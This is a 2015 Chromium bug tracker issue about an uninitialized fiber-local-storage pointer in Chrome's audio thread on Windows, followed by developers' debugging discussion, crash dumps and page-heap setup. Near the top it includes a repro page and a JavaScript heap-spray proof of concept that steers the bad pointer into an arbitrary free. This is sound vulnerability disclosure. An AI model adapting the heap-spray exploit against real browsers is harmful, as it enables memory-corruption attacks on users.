New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 525288 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner:
Closed: Oct 2015
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Windows
Pri: 1
Type: Bug-Security
Nag



Sign in to add a comment

1177r - AVR:Uninitialized+0x24 chrome.exe!msvcrt.dll!_freefls 0A3263

Reported by berendja...@gmail.com, Aug 26 2015

Issue description

1177r - Google Chrome AudioOutputDevice use of uninitialized FLS pointer
=====================================

Synopsis
--------
A thread-safety vulnerability exists in Google Chrome when handling audio that
can lead to use of an uninitialized pointer. This issue is only visible when
running Chrome with page heap enabled, as the memory used to store the pointer
appears to be set to 0x0 after allocation when page heap is not enabled. This
means the pointer will be 0x00000000 for the normal user, which does not lead
to futher use. However, when running Chrome with page heap enabled, the memory
will be set to 0xD0 and the pointer to be read as 0xD0D0D0D0 and used in code
that allows at least freeing of arbitrary memory pointers.

Known affected software and attack vectors
------------------------------------------
  + xxx

    An attacker would need to get a target user to open a specially crafted
    webpage.

Repro
-----
<!doctype html>
<html><head>
<script>
  new AudioContext("notification").decodeAudioData(
    new ArrayBuffer(1),
    function(){},
    function(){}
  );
  location.reload();
</script></head></html>


Description
-----------
The repro triggers a race condition in the AudioOutputDevice thread, where the
thread is terminated before a pointer to fiber local storage (FLS) is
initialized.

When the thread is terminated and the FLS pointer is not NULL, the FLS pointer
is passed to msvcrt!_freefls, which assumes it points to a structure with some
more pointers. For a number of pointer in the structure, it calls msvcrt!free
if they are not NULL.

The FLS pointer is stored in memory that is set to 0xD0 when it is allocated to
indicate it is uninitialized. On 32-bit Windows, this is a relatively safe way
to detect use of uninitialized pointers:  no memory can be allocated above
0xC0000000, so any attempt to use an uninitialized pointer will result in an
access violation at address 0xD0D0D0D0. However, on 64-bit versions of Windows,
the entire 32-bit address space can be used to allocate memory.

Exploit
-------
An attacker could use a heap spray to allocate memory around address 0xD0D0D0D0
and have the uninitialized pointer point to whatever data is useful. When the
msvcrt!_freefls function is called, it will process that attacker supplied data.

<!doctype html>
<html><head>
<script>
  function cStructureHeapSpray(uBaseAddress, uSize) {
    var uHeapSprayBase = 0x80004000;
    function fuAddressToIndex(uAddress) {
      return (uAddress - uHeapSprayBase) / 4;
    };
    var oThis = this,
        uArraySize = fuAddressToIndex(uBaseAddress + uSize),
        adwHeapSpray = new Uint32Array(uArraySize);
    oThis.fSetDWord = function (uOffset, uValue) {
      adwHeapSpray[fuAddressToIndex(uBaseAddress + uOffset)] = uValue;
    };
  };
  try {
    var uStructureAddress = 0xD0D0D0D0;
        uStructureSize = 0x1000,
        oStructureHeapSpray = new cStructureHeapSpray(uStructureAddress, uStructureSize);
    oStructureHeapSpray.fSetDWord(0x24, 0xDEADBEEF); // D0D0D0F4 => 0xDEADBEEF
  } catch (e) {
    // still allocated from previous run.
  }
  location.reload();
  new AudioContext("notification").decodeAudioData(
    new ArrayBuffer(1),
    function(){},
    function(){}
  );
</script></head></html>

The above code allocates a Uint32Array that is so large it will only fit in the
(assumed) unused area above 0x80000000. This causes it to be reliably allocated
at address 0x80004000. Using this array, a pointer at 0xD0D0D0D0 + 0x24 is set
to 0xDEADBEEF. When msvcrt!_freefls is called with the unintialized FLS pointer,
it will check if the pointer at 0x24 is not NULL and call msvcrt!free to free
the memory it points to. This leads to an attempt to free memory at address
0xDEADBEEF, which should result in a crash.

Attached are:

repro.html
  => the repro
AVR;Uninitialized+0x24 chrome.exe!msvcrt.dll!_freefls 0A3263.html
  => details of a crash caused by the repro
poc.html
  => the proof-of-concept
AVR;Arbitrary chrome.exe!verifier.dll!AVrfpDphFindBusyMemoryNoCheck 27DAF4.html
  => details of a crash caused by the proof-of-concept.

 the poc


 
poc.html
965 bytes View Download
AVR;Arbitrary chrome.exe!verifier.dll!AVrfpDphFindBusyMemoryNoCheck 27DAF4.html
50.8 KB View Download
AVR;Uninitialized+0x24 chrome.exe!msvcrt.dll!_freefls 0A3263.html
71.8 KB View Download
repro.html
209 bytes View Download
Forgot to add the version I tested: 46.0.2490.4 dev-m

Comment 2 Deleted

Cc: rtoy@chromium.org
Labels: Security_Impact-Beta Security_Severity-High Cr-Internals-Media Cr-Blink-WebAudio Cr-Internals-Media-Audio
Owner: kbr@chromium.org
Status: Assigned
I was able to repro a crash in beta (46) but not stable (44).

AsyncAudioDecoder::decodeAsync() and friends have a purposely leaked reference to the audio array, but I don't know about our thread handling enough to understand how to approach this.

kbr@: You're an owner of the WebAudio code. Could you help look into this issue?

Comment 4 by kbr@chromium.org, Aug 27 2015

Cc: -rtoy@chromium.org kbr@chromium.org hongchan@chromium.org
Owner: rtoy@chromium.org
Ray's the TL of the code (I'm just a reviewer) and Hongchan works on it. Reassigning.

Project Member

Comment 5 by ClusterFuzz, Aug 27 2015

Labels: Pri-1 M-46
Project Member

Comment 6 by ClusterFuzz, Aug 27 2015

Labels: ReleaseBlock-Stable
Hongchan, would you be able to take a look at this soon?
I was having some issues with the windows machine at the moment. I will try to repro the case as soon as I fix it. rtoy@ is also looking at the issue as well.

Comment 9 by amin...@google.com, Sep 2 2015

Labels: OS-Windows

Comment 10 by rtoy@chromium.org, Sep 2 2015

I let repro.html run overnight using ToT chromium from yesterday afternoon.

I'm unable to reproduce the crash.  Is there some additional magic I need to do besides just running the repro case?
Just like #10, I also tried to let it run for the last 24 hours. No crash and no suspicious memory usage so far.
Did you enable page heap?
No I didn't. Sadly Windows is not our primary development platform, so I wasn't aware of PageHeap component. Now I am installing Debugging Tools and PageHeap.
I know, which is why I keep finding these obscure bugs :)
Here's a quick how-to:

> gflags -i chrome +02109870
> set CHROME_ALLOCATOR=winheap
> chrome.exe --no-sandbox

You have documentation that explains in more details on the chromium site.

berendjanwever@

Yes, I was able to reproduce the case. (It took me a while since the documentation on the project page is a bit outdated.)
Project Member

Comment 16 by ClusterFuzz, Sep 17 2015

Labels: Nag
rtoy@: Uh oh! This issue is still open and hasn't been updated in the last 14 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Hey, a friendly reminder that M46 Stable final build cut is coming in early Oct. Please take a look at this Stable release blocker and see if it really blocks the release; and if so land a fix asap. Thanks!

Comment 18 by tin...@google.com, Sep 24 2015

Hey, your bug is currently marked as a releaseblocker for M46. As we're quickly approaching M46 final build cut, want to highlight the key dates so that you can better act on it - either fix or punt.

To fix, the key dates to get your change into M46:
** Make sure to land your change in trunk/master by Oct-2 (PT), merge it into M46 by Oct-6 (PT). This can get your change some bake time on trunk/master before merge and catch up with the final build cut.
** If your change misses the Oct-6 final cut, it misses M46 but can catch up with next launch (M47).

It's highly recommended to land your change in trunk/master by Sep-25 (PT) if at all possible, so that it can go through bake time on trunk/master and also the last Beta!

To punt: pls update the label M-46 to M-47 and remove/update ReleaseBlock label as appropriate.

Thanks!

Comment 19 by rtoy@chromium.org, Sep 24 2015

Owner: hongchan@chromium.org
Hongchan, please take another look and punt if you have to.
Cc: rtoy@chromium.org
@tinazh, @rtoy, @kbr 

Although I will try to fix this by the key dates suggested, I hope this issue to be reassigned who can handle the security issue better. (I just got back from vacation and haven't had a chance to investigate this).

If I can't find the solution by 10/2, I will punt.
berendjanwever@

How is this related to AudioOutputDevice? You claimed this is due to the race condition between AudioOutputDevice thread being terminated before the decoding finishes. So do you believe AudioOutputDevice should be fixed? or decodeAudioData in AudioContext?

Any clue would be appreciated - I am still setting up Windows workstation to repro/debug this issue.
Cc: tkent@chromium.org haraken@chromium.org
Labels: -M-46 M-47
rtoy@ and I decided to punt this issue to M47.

After the initial investigation, we thought this requires the structural change of thread handling between the main and the decoder thread.

For the leak reference in AsyncAudioDecoder and the interaction with the main thread, I am adding tkent@ and haraken@ for the review. It looks unsafe throwing the raw pointer between the main and the decode thread. 

WebAudio needs more systematic way of managing inter-thread interaction (that's why CL https://codereview.chromium.org/1140723003/ failed to land as well) and I am seeking the right solution for the issue. Any guide/help would be appreciated.
@hongc... The thread in which the exception happens is named "AudioOutputDevice". All information I have on the issue is in the original report. If you have specific questions about any part of the report repro or proof-of-concept code, I may be able to elaborate.
(In other words: I am not familiar with the code in which the issue occurs, nor the design of audio handling in Chrome, so I am unfortunately not in a position to explain what the root cause is or how it should be addressed.)
It appears that I left out part of my report, so I am adding this now. Unfortunately, it does not include additional details. 
******************************************************************************
Notes
-----
I allow vendors 60 days to fix an issue, unless they can provide an adequate
reason for extending this deadline. Failure to meet a deadline without an
adequate explanation will normally result in public disclosure of information
regarding the vulnerability to the general public.

Credit
------
If you can confirm this as a security issue and would like to provide credits
for reporting the issue in your advisory, please credit "SkyLined".

******************************************************************************
I hope you will be able to fix the issue within 60 days from the date of the original report, given that I know you assign security issues high priority, especially exploitable issues such as this, and that you pride yourselves on your time-to-fix.

If needed I am willing to extend the deadline to 60 days from today if you feel that you will not be able to address this in time because you were unaware of the deadline and did not assign it sufficient priority because you felt the issue did not require it. Please let me know if this is the case.




I am switching back to using my @chromium.org account, can somebody please add skylined@chromium.org?

Comment 28 by aarya@google.com, Sep 29 2015

Cc: skylined@chromium.org

Comment 29 by rtoy@chromium.org, Sep 30 2015

Cc: hendr...@chromium.org

Comment 30 by rtoy@chromium.org, Oct 2 2015

For the record, use

gflags.exe -i chrome.exe +xxxx

And BE SURE to do

gflags.exe -i chrome.exe -xxxx

to reset things.  Otherwise your Chrome may behave strangely until you do this.
Cc: chcunningham@chromium.org dalecur...@chromium.org
I would like to share my findings so far:

Setup
------
1) gflags -i chrome.exe +02109870
2) set CHROME_ALLOCATOR=winheap
3) chrome.exe --no-sandbox
4) Activate Debug Diag Tool to generate crash dump
5) Run the repro case.
6) Analyze the crash dump with VS debugger

Test targets
-------------
47.0.2526.5 dev-m
48.0.2528.0 (Canary)

Crash dump #1
-----------------
verifier.dll!VerifierStopMessage()  Unknown
verifier.dll!AVrfpDphReportCorruptedBlock() Unknown
verifier.dll!AVrfpDphCheckPageHeapBlock() Unknown
verifier.dll!AVrfpDphFindBusyMemory() Unknown
verifier.dll!AVrfpDphFindBusyMemoryAndRemoveFromBusyList()  Unknown
verifier.dll!AVrfDebugPageHeapFree()  Unknown
ntdll.dll!RtlDebugFreeHeap()  Unknown
ntdll.dll!string "Enabling heap debug options\n"()  Unknown
kernel32.dll!HeapFree() Unknown
chrome_child.dll!_aligned_free(void * memblock) Line 473  C
**************************************************************************************
chrome_child.dll!media::FFmpegGlue::~FFmpegGlue() Line 222  C++
**************************************************************************************
chrome_child.dll!media::AudioFileReader::Close() Line 114 C++
chrome_child.dll!media::AudioFileReader::~AudioFileReader() Line 27 C++
chrome_child.dll!content::DecodeAudioFileData(blink::WebAudioBus * destination_bus, const char * data, unsigned __int64 data_size) Line 91  C++
chrome_child.dll!blink::decodeAudioFileData(const char * data, unsigned __int64 size) Line 642  C++
chrome_child.dll!blink::createBusFromInMemoryAudioFile(const void * data, unsigned __int64 dataSize, bool mixToMono, float sampleRate) Line 666 C++
chrome_child.dll!blink::AsyncAudioDecoder::decode(blink::DOMArrayBuffer * audioData, float sampleRate, blink::AudioBufferCallback * successCallback, blink::AudioBufferCallback * errorCallback) Line 68  C++
chrome_child.dll!base::debug::TaskAnnotator::RunTask(const char * queue_function, const base::PendingTask & pending_task) Line 53 C++
chrome_child.dll!scheduler::TaskQueueManager::ProcessTaskFromWorkQueue(scheduler::internal::TaskQueueImpl * queue, scheduler::internal::TaskQueueImpl::Task * out_previous_task) Line 369 C++
chrome_child.dll!scheduler::TaskQueueManager::DoWork(bool decrement_pending_dowork_count) Line 293  C++
chrome_child.dll!base::internal::Invoker<base::IndexSequence<0,1>,base::internal::BindState<base::internal::RunnableAdapter<void (__cdecl scheduler::TaskQueueManager::*)(bool) __ptr64>,void __cdecl(scheduler::TaskQueueManager * __ptr64,bool),base::internal::TypeList<base::WeakPtr<scheduler::TaskQueueManager>,bool> >,base::internal::TypeList<base::internal::UnwrapTraits<base::WeakPtr<scheduler::TaskQueueManager> >,base::internal::UnwrapTraits<bool> >,base::internal::InvokeHelper<1,void,base::internal::RunnableAdapter<void (__cdecl scheduler::TaskQueueManager::*)(bool) __ptr64>,base::internal::TypeList<base::WeakPtr<scheduler::TaskQueueManager> const & __ptr64,bool const & __ptr64> >,void __cdecl(void)>::Run(base::internal::BindStateBase * base) Line 347  C++
chrome_child.dll!base::debug::TaskAnnotator::RunTask(const char * queue_function, const base::PendingTask & pending_task) Line 53 C++
chrome_child.dll!base::MessageLoop::RunTask(const base::PendingTask & pending_task) Line 483  C++
chrome_child.dll!base::MessageLoop::DoWork() Line 603 C++
chrome_child.dll!base::MessagePumpDefault::Run(base::MessagePump::Delegate * delegate) Line 32  C++
chrome_child.dll!base::MessageLoop::RunHandler() Line 446 C++
chrome_child.dll!base::RunLoop::Run() Line 56 C++
chrome_child.dll!base::MessageLoop::Run() Line 289  C++
chrome_child.dll!base::Thread::ThreadMain() Line 254  C++
chrome_child.dll!base::`anonymous namespace'::ThreadFunc(void * params) Line 82 C++

Crash dump #2
-----------------
verifier.dll!_VerifierStopMessage@40()    Unknown
verifier.dll!_AVrfpDphReportCorruptedBlock@16()    Unknown
verifier.dll!_AVrfpDphCheckPageHeapBlock@16()    Unknown
verifier.dll!_AVrfpDphFindBusyMemory@8()    Unknown
verifier.dll!_AVrfpDphFindBusyMemoryAndRemoveFromBusyList@8()    Unknown
verifier.dll!_AVrfDebugPageHeapFree@12()    Unknown
ntdll.dll!_RtlDebugFreeHeap@12()    Unknown
ntdll.dll!@RtlpFreeHeap@16()    Unknown
ntdll.dll!_RtlFreeHeap@12()    Unknown
kernel32.dll!_HeapFree@12()    Unknown
chrome_child.dll!`anonymous namespace'::win_heap_free(void * size) Line 62    C++
[External Code]    
**************************************************************************************
chrome_child.dll!media::FFmpegGlue::~FFmpegGlue() Line 189    C++
**************************************************************************************
chrome_child.dll!base::DefaultDeleter<media::FFmpegGlue>::operator()(media::FFmpegGlue * ptr) Line 128    C++
chrome_child.dll!media::AudioFileReader::Close() Line 115    C++
chrome_child.dll!media::AudioFileReader::~AudioFileReader() Line 26    C++
chrome_child.dll!content::DecodeAudioFileData(blink::WebAudioBus * destination_bus, const char * data, unsigned int data_size) Line 91    C++
chrome_child.dll!content::RendererBlinkPlatformImpl::loadAudioResource(blink::WebAudioBus * destination_bus, const char * audio_file_data, unsigned int data_size) Line 777    C++
chrome_child.dll!blink::decodeAudioFileData(const char * data, unsigned int size) Line 642    C++
chrome_child.dll!blink::createBusFromInMemoryAudioFile(const void * data, unsigned int dataSize, bool mixToMono, float sampleRate) Line 666    C++
chrome_child.dll!blink::AsyncAudioDecoder::decode(blink::DOMArrayBuffer * audioData, float sampleRate, blink::AudioBufferCallback * successCallback, blink::AudioBufferCallback * errorCallback) Line 68    C++
chrome_child.dll!WTF::PartBoundFunctionImpl<4,WTF::FunctionWrapper<void (__cdecl*)(blink::DOMArrayBuffer *,float,blink::AudioBufferCallback *,blink::AudioBufferCallback *)>,void __cdecl(blink::DOMArrayBuffer *,float,WTF::RawPtr<blink::AudioBufferCallback>,WTF::RawPtr<blink::AudioBufferCallback>)>::operator()() Line 244    C++
chrome_child.dll!base::debug::TaskAnnotator::RunTask(const char * queue_function, const base::PendingTask & pending_task) Line 51    C++
chrome_child.dll!scheduler::TaskQueueManager::ProcessTaskFromWorkQueue(scheduler::internal::TaskQueueImpl * queue, scheduler::internal::TaskQueueImpl::Task * out_previous_task) Line 369    C++
chrome_child.dll!scheduler::TaskQueueManager::DoWork(bool decrement_pending_dowork_count) Line 293    C++
chrome_child.dll!base::internal::InvokeHelper<1,void,base::internal::RunnableAdapter<void (__thiscall scheduler::TaskQueueManager::*)(bool)>,base::internal::TypeList<base::WeakPtr<scheduler::TaskQueueManager> const &,bool const &> >::MakeItSo(base::internal::RunnableAdapter<void (__thiscall scheduler::TaskQueueManager::*)(bool)> runnable, const base::WeakPtr<scheduler::TaskQueueManager> & weak_ptr, const bool & <args_0>) Line 303    C++
chrome_child.dll!base::internal::Invoker<base::IndexSequence<0,1>,base::internal::BindState<base::internal::RunnableAdapter<void (__thiscall scheduler::TaskQueueManager::*)(bool)>,void __cdecl(scheduler::TaskQueueManager *,bool),base::internal::TypeList<base::WeakPtr<scheduler::TaskQueueManager>,bool> >,base::internal::TypeList<base::internal::UnwrapTraits<base::WeakPtr<scheduler::TaskQueueManager> >,base::internal::UnwrapTraits<bool> >,base::internal::InvokeHelper<1,void,base::internal::RunnableAdapter<void (__thiscall scheduler::TaskQueueManager::*)(bool)>,base::internal::TypeList<base::WeakPtr<scheduler::TaskQueueManager> const &,bool const &> >,void __cdecl(void)>::Run(base::internal::BindStateBase * base) Line 346    C++
chrome_child.dll!base::debug::TaskAnnotator::RunTask(const char * queue_function, const base::PendingTask & pending_task) Line 51    C++
chrome_child.dll!base::MessageLoop::RunTask(const base::PendingTask & pending_task) Line 483    C++
chrome_child.dll!base::MessageLoop::DoWork() Line 603    C++
chrome_child.dll!base::MessagePumpDefault::Run(base::MessagePump::Delegate * delegate) Line 33    C++
chrome_child.dll!base::MessageLoop::RunHandler() Line 446    C++
chrome_child.dll!base::RunLoop::Run() Line 56    C++
chrome_child.dll!base::Thread::Run(base::MessageLoop * message_loop) Line 199    C++
chrome_child.dll!base::Thread::ThreadMain() Line 254    C++
chrome_child.dll!base::`anonymous namespace'::ThreadFunc(void * params) Line 84    C++

Thoughts
-----------
1) I was able to get Chromium crashed with the repro case and the both dumps are pointing FFmpegGlue.cpp file.
2) I could not find anything related AVR:Uninitialized+0x24 chrome.exe!msvcrt.dll!_freefls which is included in the original report.

Adding dalecurtis@ and chcunningham@ since this issue seems to be related to Chrome-media/FFmpeg.
I do not know what changed on FFmpeg after m47, m48 does not seem to be crashing due to this issue. I will confirm as soon as possible, so we can pinpoint the problematic build.
Cc: xhw...@chromium.org
+xhwang since Dale off for a while. 

AFAIK, no changes have been made to FFmpeg between versions 47.0.2526.5 and 48.0.2528.0 (more on this below). Comment #3 mentions no repro in 44 - I know we have plenty of changes to FFmpeg between 44 and 47 including a roll from upstream.


More on FFmpeg changes:
The last changes in third_party/ffmpeg were http://crrev.com/351889. ffmpeg_glue.cc was last changed at http://crrev.com/350278. The base position for 47.0.2526.5 is 352221, so all these changes are present in both 47 and 48. 

Labels: Needs-Feedback
skylined@

Can you provide more specifics about your repro setup?
- What tools are you using?
- How did you generate the crash dump?
- Can you go over your crash dump and compare the crash dump I posted above?
- Can you try to build and test the ToT version with you setup?

Like I pointed out, I could not see any instance of "AVR:Uninitialized+0x24 chrome.exe!msvcrt.dll!_freefls" error from my callstacks.
This is my first time bumping into fibers, so apologies for the noob questions... 

I cannot find usage of the fiber APIs in Chrome. 
https://code.google.com/p/chromium/codesearch#search/&q=fiber%20f:.*%5C.c(c%7Cpp)*&sq=package:chromium&type=cs
https://code.google.com/p/chromium/codesearch#search/&q=FlsAlloc%20f:.*%5C.c&sq=package:chromium&type=cs

What am I missing?

That's what bugs me and my colleagues: I could not find the direct interaction on FLS stuff from our code base.

Even in the call stacks from the repro case, I could not find any relevant information on "msvcrt.dll!_freefls" and that is why I am asking specifics on the original reporter's setup.
I read somewhere that windows will sometimes use fibers when the threading api is called, but I'm not 100% it would happen here.

A bit of googling: https://msdn.microsoft.com/en-us/library/windows/desktop/ms686801(v=vs.85).aspx

TlsAlloc docs: "When a Windows Store app calls this function, it is replaced with an inline call to FlsAlloc. Refer to FlsAlloc for function documentation"

So, this isn't a windows store app, but maybe something similar is happening.  That, or there's some other API built on fibers that we're calling.
Breakdown of the gflags in use (just FYI, I was hoping one of these would be "Use Fibers in scenario X", but no such luck)

0x02109870

0x02000000 - Enable page heap
0x00100000 - Disable stack extension

0x00009000
0x00008000 - Enable heap tagging by DLL
0x00001000 - Create user mode stack trace database

0x00000800 - Enable heap tagging

0x00000070
0x00000040 - Enable heap parameter checking
0x00000020 - Enable heap free checking
0x00000010 - Enable heap tail checking
I took a look at the attachment, there's a small callstack (small, probably because it's during the shutdown of the thread). The crash we're seeing really doesn't look to be the same as the reported one :(

Sorry, unless the stack from the attachment is bogus, we may have found another issue.


A month and a half ago, I may have been able to help you more easily, but it's been too long since I reported it for me to recall more details than I reported.

The repro is no longer crashing for me in 47, so this may have been fixed. The PoC now triggers an OOM crash - apparently changes were made in the way Uint32Arrays are allocated, or the layout of memory >0x80000000 has changed. Both would prevent the PoC from working by causing an OOM crash.

I don't believe you've found a new vuln; the crashes you're seeing are probably caused by a bug in page heap:
http://berendjanwever.blogspot.nl/2015/07/work-around-for-page-heap-reallocate-in.html
I am not seeing these crashes myself.

I'll tell my fuzzers to stop ignoring this crash, so I can tell if they're still hitting it; if not that would be a good indication that it has indeed been fixed.
Scratch that - I just crashed 47.0.2526.5 dev-m under WinDbg:

(20d4.1fa0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
msvcrt!_freefls+0x17:
755ce287 837e2400        cmp     dword ptr [esi+24h],0 ds:002b:d0d0d0f4=????????
6:208:x86> r
eax=1b76f7e4 ebx=1b43ce04 ecx=755ce270 edx=00000000 esi=d0d0d0d0 edi=00000001
eip=755ce287 esp=1b76f7cc ebp=1b76f7f4 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
msvcrt!_freefls+0x17:
755ce287 837e2400        cmp     dword ptr [esi+24h],0 ds:002b:d0d0d0f4=????????
6:208:x86> kn
 # ChildEBP RetAddr  
00 1b76f7f4 76f6cc1a msvcrt!_freefls+0x17
01 1b76f81c 76f22f5e ntdll_76f00000!RtlProcessFlsData+0xf8
02 1b76f8b8 76f22b5c ntdll_76f00000!LdrShutdownThread+0x32
03 1b76f988 748a7c0b ntdll_76f00000!RtlExitUserThread+0x4c
04 1b76f99c 76f5ad1f KERNEL32!BaseThreadInitThunk+0x2b
05 1b76f9e4 76f5acea ntdll_76f00000!__RtlUserThreadStart+0x2f
06 1b76f9f4 00000000 ntdll_76f00000!_RtlUserThreadStart+0x1b
6:208:x86> ~.
.208  Id: 20d4.1fa0 Suspend: 1 Teb: ffb7b000 Unfrozen "AudioOutputDevice"
      Start: chrome_child!base::`anonymous namespace'::ThreadFunc (5f31a41a)
      Priority: 15  Priority class: 32  Affinity: f

(Since this is a timing issue, various factors may influence the outcome, such as the machine's hardware, other applications running on the machine, etc. It appears I have a higher success rate with the repro.html loaded in multiple tabs simultaneously, straight from the disk, rather than from a web server.)
*probably a timing issue
skylined@

I am tyring it again with windbg.exe to get the same crash dump you posted. Can you show me the exact steps you went through? 

I followed the instruction here: https://www.chromium.org/developers/how-tos/debugging-on-windows

1) Open windbg.exe.
2) Open executable > chrome.exe (47.0.2526.5 dev-m)
3) Open chrome.exe --no-sandbox (with all gflags and allocator enabled)
4) Open repro.html
5) Wait until windbg.exe jumps into the crash.

The page popped up with 'Aw, Snap!' in few seconds, but I still didn't see any dump/callstack on windbg.
skylined@

Also I did the same thing with the debug build of 48.0.2530.0 (ToT build as of 10/7/2015) and it didn't show any crash.

It would be great if you can test the ToT build with your debugging setup.
Hongchan, you may be missing the crash if its in a child process. In the dialog for "open executable" there's a checkbox in the bottom left to also attach to child processes. Make sure that's checked. 
I used "windbg.exe -I" so it can intervene whenever the Chrome executable crashes.

I believe 'Open executable' option won't work for me since it launches the instance of Chrome without --no-sandbox. Please correct me if I am wrong.
Actually m47 started to generate the exact same call stack I posted above - after setting workspace for windbg.exe (symbols/sources).

verifier!VerifierStopMessage+0x1f8
verifier!AVrfpDphReportCorruptedBlock+0xd1
verifier!AVrfpDphCheckPageHeapBlock+0x161
verifier!AVrfpDphFindBusyMemory+0xda
verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20
verifier!AVrfDebugPageHeapFree+0x90
ntdll!RtlDebugFreeHeap+0x2f
ntdll!RtlpFreeHeap+0x5d
ntdll!RtlFreeHeap+0x142
kernel32!HeapFree+0x14
chrome_child!`anonymous namespace'::win_heap_free+0x14
chrome_child!_aligned_free+0x15
chrome_child!media::FFmpegGlue::~FFmpegGlue+0x18
chrome_child!base::DefaultDeleter<media::FFmpegGlue>::operator()+0x11
chrome_child!base::internal::scoped_ptr_impl<media::FFmpegGlue,base::DefaultDeleter<media::FFmpegGlue> >::reset+0xf
chrome_child!scoped_ptr<media::FFmpegGlue,base::DefaultDeleter<media::FFmpegGlue> >::reset+0x12
chrome_child!media::AudioFileReader::Close+0x15
chrome_child!media::AudioFileReader::~AudioFileReader+0xe
chrome_child!content::DecodeAudioFileData+0x12c
chrome_child!content::RendererBlinkPlatformImpl::loadAudioResource+0x11

From what I see, the destructor of FFMpegGlue seems to be a point of crash.

chcunningham@, WDYT?
The good news is the crash does not happen with m48 anymore.
Re #47 - The "Open executable" dialog has an input field where you can supply arguments to the exe.

Re #48 - I agree that FFmpegGlue is definitely at the top of this stack, but this doesn't match the reported stack and comments #40 from skylined indicate this may be a known issue with PageHeap. Have you tried the workaround for the PageHeap bug he describes here? http://berendjanwever.blogspot.nl/2015/07/work-around-for-page-heap-reallocate-in.html

If you're still seeing this stack with FFmpeg at the top after applying his workaround then we may a separate issue as theorized in #39.
Okay, based on your input I slightly changed my steps: (m47 dev)

1) Open windbg.exe
2) Open chrome.exe executable with '--no-sanbox' argument.
3) Chrome will be launched and I pasted the windbg command from his blog post.
4) Had to select 'Go' few times in the debug menu to be able to open an HTML document.
5) Open repro.html document.

Now I just got the same call stack in #48.
The step 3) above was incorrect. The pasted command seems to be working once I set up the symbol server. (I didn't know the windbg setting is cleared out whenever the new instance of windbg.exe is launched.)

skylined@

However, when should I supply your workaround command to windbg? If I supply it before opening the document, all the threads showed up as 'frozen.' Also I can't enter it after opening repro.html because it is already crashed at that point.
skylined@

Also if you can reproduce the crash, please post your call stack not the text from the command window. So we can pinpoint the point of crash inside the chrome codebase.
Re: using windbg:

c:\path\to\chrome>path\to\windbg.exe -o chrome.exe --disable-default-apps --disable-extensions --disable-popup-blocking --disable-prompt-on-repost --force-renderer-accessibility --no-sandbox

I use the equivalent of the above command to do all my testing.

-----------------
Re: crash in chrome_child!media::FFmpegGlue::~FFmpegGlue:

This is the exact issue I ran into. It is verifier.dll incorrectly reporting a shrunken heap block as corrupted because of a bug in the way verifier.dll tracks heap blocks that are reallocated to a smaller size. It is not a vuln in Chrome, but feel free to confirm my findings and report the issue to Microsoft so they have more reason to fix it.

I've never had to use the work-around for the verifier.dll bug myself to reproduce this, so I've never done this manually. The command shouold probably be executed whenever a new process is created, so you'd want to use something like:

>workaround command
(to apply it to the main process)
>sxe -c "workaround command;g" cpr
(to apply it to all child processes, ";g" makes sure the debugger continues after applying the breakpoint)
Note: you will need to escape chars such as " and \ in the second command.

-----------------
Re: call stack

I'm having trouble making sense of your request. I'm guessing you want me to post a call stack with source lines and function arguments information? as in the output of

.lines -e
kpn

However, since the call stack only contains functions in Microsoft DLLs - for which only public symbols are available - that is not going to provide any new information. It certainly won't tell you anything about what parts of Chrome code are normally involved in setting the fiber data: by definition that code was not executed.
skylined@

I have tried the step/instruction you posted, but I still cannot reproduce it. Interestingly enough, even with your workaround activated, ~FFMpegGlue is still showing up when the Chrome crashes.

Since I cannot reproduce it locally, it is impossible to start working on this issue.
Hongchan, can you upload the windbg log for the attempt to repro in #55? 
Cc: jsc...@chromium.org
Project Member

Comment 58 by ClusterFuzz, Oct 8 2015

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=6636610727182336
Project Member

Comment 59 by ClusterFuzz, Oct 8 2015

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=4595917146030080
Project Member

Comment 60 by ClusterFuzz, Oct 9 2015

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=5230338039611392
jschuh@

The stacktraces from clusterfuzz does not seem to be related to any part of web audio. Could you take a look at it and please feel free to reassign this issue to the security team.
kbr@

Could you take a look at this again? What the last two stack traces suggest is a bit unclear and we (web audio) are not sure about how to proceed on this.

Comment 63 by kbr@chromium.org, Oct 15 2015

@hongchan: I strongly suggest you ask jschuh@ for one-on-one help on this, or one of the Windows experts in the office like wfh@.

Cc: rickyz@chromium.org
kbr@

Currently rickyz@ is looking at the issue.
Owner: rickyz@chromium.org
I still haven't quite nailed down a root cause yet, but I don't think the issue is in ffmpeg code. The repro has the same effect on a build with the attached patch applied. I haven't gotten been able to reproduce outside of chrome yet, so it's still unclear whether there's something about our environment that tickles this bug.
Oops, forgot to attach patch.
crash_repro.patch
1.3 KB Download
And here is a standalone program that triggers a similar crash to the chrome one under pageheap:

 # Child-SP          RetAddr           Call Site
00 00000024`08ffe3c0 00007ffc`2c965000 verifier!VerifierStopMessage+0x28c
01 00000024`08ffe470 00007ffc`2c986112 verifier!AVrfpDphReportCorruptedBlock+0x32c
02 00000024`08ffe530 00007ffc`417a3f66 verifier!AVrfpDphCheckNormalHeapBlock$filt$0+0x44
03 00000024`08ffe560 00007ffc`417b633d ntdll!_C_specific_handler+0x96
04 00000024`08ffe5d0 00007ffc`41733c00 ntdll!RtlpExecuteHandlerForException+0xd
05 00000024`08ffe600 00007ffc`417b544a ntdll!RtlDispatchException+0x370
06 00000024`08ffed00 00007ffc`2c9624a6 ntdll!KiUserExceptionDispatch+0x3a
07 00000024`08fff430 00007ffc`2c96252b verifier!AVrfpDphFindBusyMemoryNoCheck+0x8a
